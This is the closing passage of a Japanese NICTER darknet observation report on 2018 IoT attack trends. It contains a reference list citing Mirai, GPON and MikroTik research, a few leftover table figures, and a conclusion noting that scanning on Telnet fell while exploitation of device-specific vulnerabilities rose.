株式会社インターネットイニシアティブの根岸征史⽒

参考⽂献[1] The search engine for the Internet of Things . https://www.
shodan.io/.
[2] Accelerate Security, Vuln Management, Compliance | Rapid.
https://www.rapid7.com/.
[3] Security starts with visibility. https://censys.io/.
[4] BinaryEdge. https://www.binaryedge.io/.
[5] サイバーセキュリティ研究所サイバーセキュリティ研究室. NICTER 観測
レポート: ルータ製品の脆弱性を悪⽤して感染を広げる Mirai の亜種に関する活動 (2017-12-19). Technical report, 国⽴研究開発法⼈情報通信研究機構, 2017.
[6] Rise
of
One
More
Mirai
Worm
Variant.
https://www.fortinet.com/blog/threat-research/rise-of-one-more-mirai-worm-variant.html.
[7] Warning: Satori, a Mirai Branch Is Spreading in Worm Styleon Port 37215 and 52869. http://blog.netlab.360.com/warningsatori-a-new-mirai-variant-is-spreading-in-worm-style-on-port37215-and-52869-en/.
[8] 2018 年の IoT ボット観測状況と最近の動向. https://sect.iij.ad.jp/d/
2019/01/288147.html.
[9] サイバーセキュリティ研究所サイバーセキュリティ研究室. NICTER 観測
レポート 2017. Technical report, 国⽴研究開発法⼈情報通信研究機構,
2018.
[10] 360 NetLab. Quick summary about the Port 8291 scan. http://blog.netlab.360.com/quick-summary-port-8291-scan-en/.
[11] Manual:Winbox.
https://wiki.mikrotik.com/wiki/Manual:
Winbox.
[12] Manual:tools/bandwidth test - mikrotik wiki. https://wiki.
mikrotik.com/wiki/Manual:Tools/Bandwidth_Test.
[13] Manual:Webfig.
https://wiki.mikrotik.com/wiki/Manual:
Webfig.
[14] Urgent security advisory.
https://forum.mikrotik.com/
viewtopic.php?t=132499.
[15] Gpon
exploit
in
the
wild
(i)
muhstikbotnetamong
others.
http://blog.netlab.360.com/
gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en/.
[16] http://www.gpon.com/.
[17] Sarit Newman. Critical RCE Vulnerability Found in Over a
Million GPON Home Routers. Technical report, 2018.
[18] Gpon router vulnerability antidote. https://www.vpnmentor.
com/tools/gpon-router-antidote-patch/.
[19] Reaperiotbotnet.
https://www.tenable.com/blog/
reaper-iot-botnet.
[20] NVRsolo Release Note.
https://www.nuuo.com/backend/
CKEdit/upload/files/NUUO_NVRsolo_v3_9_1_Release%
20note.pdf.
[21] Jvn#60702986 bluestacks app player におけるアクセス制限不備の脆弱性. https://jvn.jp/jp/JVN60702986/index.html.
[22] Lukas Krämer, Johannes Krupp, Daisuke Makita, Tomomi
Nishizoe, Takashi Koide, Katsunari Yoshioka, and Christian
Rossow. Amppot: Monitoring and defending against amplification ddos attacks. In International Workshop on Recent Advances in Intrusion Detection, pages 615–636. Springer, 2015.
[23] 横浜国⽴⼤学情報・物理セキュリティ研究拠点. AmpPot: Honeypot
for Monitoring Amplification DDoS Attack. http://ipsr.ynu.ac.
jp/dos/.
[24] memcached - a distributed memory object caching system.
https://memcached.org/.
[25] memcached のアクセス制御に関する注意喚起. https://www.jpcert.
or.jp/at/2018/at180009.html, author=JPCERT/CC.
[26] Rapid7.
Understanding
Ubiquiti
Discovery
Service
Exposures.
https://blog.rapid7.com/2019/02/01/
ubiquiti-discovery-service-exposures/.

149,755

Mssql

17,018∗

Ubiquiti Discovery

10,948

5. おわりに2018 年の観測では，今まで⽀配的であった 23/TCP(Telnet) 宛てのスキャンが半減し，各機器に固有の脆弱性を狙う攻撃活動が増加していることが明らかになりました．Telnet の脆弱な認証設定を破ってマルウェア感染させる⼿法は，⾮常に容易かつ，多く機器に対して有効な感染⼿段でしたが、2018 年に特徴的だった脆弱性の悪⽤によるマルウェア感染⼿法には，対策の進まない脆弱性を共通に抱える⼤量の機器を⼀網打尽に乗っ取れるというアドバンテージがあります．脆弱性の公表から時を経ずにその攻撃コードがインターネット上に公開され，マルウェアにデフォルトのツールセットとして次々に取り込まれていくにつれ，前者の感染⼿法への依存度が低下し，後者の脆弱性を悪⽤した攻撃が占める割合が相対的に増加したことが，このような傾向の変化の背景にあると推察されます．

2018 年の総観測パケットの 35% にも及んだ調査⽬的のスキャンが，次なる攻撃対象の機器やサービス，脆弱性を探る活動の痕跡であるならば，2019 年以降，我々はその成果を，インターネット上を⾶び交う何らかの特徴をもつアウトプットの形で，⽬の当たりにすることになるでしょう．NICTER プロジェクトにおいても，引き続き
注意深くダークネット観測・分析を⾏うことで攻撃の兆候をいち早く捕捉し，また関係機関等と情報共有を図りながら，インシデントの低減に努めていきます．

10